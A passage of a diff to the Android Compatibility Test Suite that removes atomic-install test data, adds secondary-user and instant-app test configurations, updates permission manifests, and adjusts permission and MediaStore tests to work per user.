-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class LocalIntentSender extends BroadcastReceiver {
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        sIntentSenderResults.add(intent);
-    }
-
-    /**
-     * Get a LocalIntentSender.
-     */
-    static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
-        return pending.getIntentSender();
-    }
-
-    /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
-     */
-    static Intent getIntentSenderResult() throws InterruptedException {
-        return sIntentSenderResults.poll(5, TimeUnit.SECONDS);
-    }
-}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
deleted file mode 100644
index e3c8c28..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.A"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App A v1">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
deleted file mode 100644
index 34472a0..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.A"
-          android:versionCode="2"
-          android:versionName="2.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App A v2">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
deleted file mode 100644
index dd5db42..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.B"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App B v1">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index baef287..2f499fb 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index 5d492c6..cf26d44 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -237,7 +237,7 @@
      * @param packageName Package to clear
      */
     public static void clearAppState(@NonNull String packageName) {
-        runShellCommand("pm clear " + packageName);
+        runShellCommand("pm clear --user current " + packageName);
     }
 
     /**
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 0363394..4ecf5b6 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -250,7 +250,9 @@
      * Force a run of the location check.
      */
     private static void runLocationCheck() {
-        runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+        runShellCommand(
+                "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
+                        + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
     }
 
     /**
@@ -447,12 +449,16 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
+        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+
             for (RegisteredJob job : dump.registeredJobs) {
-                assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                if (job.dump.sourceUserId == currentUserId) {
+                    assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                }
             }
         }, UNEXPECTED_TIMEOUT_MILLIS);
 
@@ -476,7 +482,8 @@
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
             for (RegisteredJob job : dump.registeredJobs) {
-                if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+                if (job.dump.sourceUserId == currentUserId
+                        && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
                     return;
                 }
             }
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 52b28cd..6ee6120 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index e38cfd2..63c2a14 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index a8c8d1a..50ac715 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 14087ec..78068f9 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 9d859bc..35ab9e4 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index ed0f872..3804b92 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index 402c57b..0fe3599 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index 9d4ab2a..a0189ad 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 591fdbc..9806571 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 71ebd69..ec6d128 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index 26cfff85..f63f14a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index b4114dc..be2761a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index 8af2212..eb77c12 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 045a26f..b7f40bf 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index fb36759..63062c1 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 4b57927..9d6a481 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 52e6dc4..7fc29e2 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -107,6 +107,8 @@
 
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
+    <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
+    <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE_PRIORITIZED" />
     <protected-broadcast android:name="android.app.action.ENTER_DESK_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
     <protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
@@ -1551,6 +1553,14 @@
     <permission android:name="android.permission.NETWORK_STACK"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Allows an application to observe network policy changes. -->
+    <permission android:name="android.permission.OBSERVE_NETWORK_POLICY"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows applications to register network factory or agent -->
+    <permission android:name="android.permission.NETWORK_FACTORY"
+                android:protectionLevel="signature" />
+
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
          @hide This should only be used by Settings and SystemUI.
@@ -1780,6 +1790,13 @@
         android:description="@string/permdesc_vibrate"
         android:protectionLevel="normal|instant" />
 
+    <!-- Allows access to the vibrator always-on settings.
+         <p>Protection level: signature
+         @hide
+    -->
+    <permission android:name="android.permission.VIBRATE_ALWAYS_ON"
+        android:protectionLevel="signature" />
+
     <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
          from dimming.
          <p>Protection level: normal
@@ -1942,6 +1959,11 @@
     <!-- =========================================== -->
     <eat-comment />
 
+    <!-- @SystemApi Allows granting runtime permissions to telephony related components.
+         @hide Used internally. -->
+    <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS_TO_TELEPHONY_DEFAULTS"
+        android:protectionLevel="signature|telephony" />
+
     <!-- Allows modification of the telephony state - power on, mmi, etc.
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
@@ -4276,6 +4298,21 @@
     <permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows entering or exiting car mode using a specified priority.
+        This permission is required to use UiModeManager while specifying a priority for the calling
+        app.  A device manufacturer uses this permission to prioritize the apps which can
+        potentially request to enter car-mode on a device to help establish the correct behavior
+        where multiple such apps are active at the same time.
+        @hide -->
+    <permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Required to receive ACTION_ENTER_CAR_MODE_PRIVILEGED or
+        ACTION_EXIT_CAR_MODE_PRIVILEGED.
+        @hide -->
+    <permission android:name="android.permission.HANDLE_CAR_MODE_CHANGES"
+                android:protectionLevel="signature|privileged" />
+
     <!-- The system process is explicitly the only one allowed to launch the
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index fac0789..dac484b 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -281,6 +281,12 @@
         android:label="@string/car_permission_label_enroll_trust"
         android:description="@string/car_permission_desc_enroll_trust" />
 
+    <permission
+        android:name="android.car.permission.CAR_TEST_SERVICE"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_car_test_service"
+        android:description="@string/car_permission_desc_car_test_service" />
+
     <uses-permission android:name="android.permission.CALL_PHONE" />
     <uses-permission android:name="android.permission.DEVICE_POWER" />
     <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 197e73d..4195add 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -84,7 +84,6 @@
         "android.intent.action.SIM_STATE_CHANGED",
         "android.intent.action.DATA_CONNECTION_FAILED",
         "android.intent.action.NETWORK_SET_TIME",
-        "android.intent.action.NETWORK_SET_TIMEZONE",
         "android.telephony.action.SUBSCRIPTION_CARRIER_IDENTITY_CHANGED",
         "android.telephony.action.SUBSCRIPTION_SPECIFIC_CARRIER_IDENTITY_CHANGED",
         "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index e6b4256..970bf6a 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -430,6 +430,7 @@
     @AppModeFull
     public void testStorageTargetingSdk28DoesNotLooseAccessWhenOptingIn() throws Exception {
         installApp(APK_USES_STORAGE_DEFAULT_28, null);
+        assertHasFullStorageAccess();
         installApp(APK_USES_STORAGE_OPT_IN_28, null);
 
         assertHasFullStorageAccess();
@@ -439,6 +440,7 @@
     @AppModeFull
     public void testStorageTargetingSdk28DoesNotLooseAccessViaUpdate() throws Exception {
         installApp(APK_USES_STORAGE_DEFAULT_28, null);
+        assertHasFullStorageAccess();
         installApp(APK_USES_STORAGE_DEFAULT_29, null);
 
         assertHasFullStorageAccess();
@@ -448,6 +450,7 @@
     @AppModeFull
     public void testStorageTargetingSdk29DoesNotLooseAccessViaUpdate() throws Exception {
         installApp(APK_USES_STORAGE_OPT_OUT_29, null);
+        assertHasFullStorageAccess();
         installApp(APK_USES_STORAGE_DEFAULT_29, null);
 
         assertHasFullStorageAccess();
@@ -457,6 +460,7 @@
     @AppModeFull
     public void testStorageTargetingSdk29DoesNotLooseAccessWhenOptingIn() throws Exception {
         installApp(APK_USES_STORAGE_OPT_OUT_29, null);
+        assertHasFullStorageAccess();
         installApp(APK_USES_STORAGE_OPT_IN_28, null);
 
         assertHasFullStorageAccess();
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index d63a1ac..f602783 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="print" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd print set-bind-instant-service-allowed true" />
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index a343c76..799e3ac 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -25,15 +25,18 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -219,18 +222,13 @@
 
     @Test
     public void testStoreImagesMediaExternal() throws Exception {
-        final String externalPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage.jpg").getAbsolutePath();
-        final String externalPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage1.jpg").getAbsolutePath();
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+                new File(dir, "cts" + System.nanoTime() + ".jpg"));
 
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(externalPath);
-        cleanExternalMediaFile(externalPath2);
+        final String externalPath = file.getAbsolutePath();
+        final long numBytes = file.length();
 
-        int numBytes = 1337;
-        File file = new File(externalPath);
-        FileUtils.createFile(file, numBytes);
         ProviderTestUtils.waitUntilExists(file);
 
         ContentValues values = new ContentValues();
@@ -242,7 +240,7 @@
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.DATA, externalPath);
-        values.put(Media.DISPLAY_NAME, "testimage");
+        values.put(Media.DISPLAY_NAME, file.getName());
         values.put(Media.MIME_TYPE, "image/jpeg");
         values.put(Media.SIZE, numBytes);
         values.put(Media.TITLE, "testimage");
@@ -270,7 +268,7 @@
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals("testimage.jpg", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
             assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
             assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
             assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
@@ -343,6 +341,26 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that Exif/XMP location data should be redacted
         ProviderTestUtils.executeShellCommand("content update"
                 + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index 6a7a1f9..92ce7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -27,14 +27,17 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.media.MediaExtractor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -249,6 +252,26 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                        dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that location should be redacted
         ProviderTestUtils.executeShellCommand("content update"
                 + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8142efe..e80e393 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -124,43 +124,6 @@
     }
 
     @Test
-    public void internetPanel_correctTitle() {
-        launchInternetPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
-    }
-
-    @Test
-    public void volumePanel_correctTitle() {
-        launchVolumePanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Volume");
-    }
-
-    @Test
-    public void nfcPanel_correctTitle() {
-        launchNfcPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
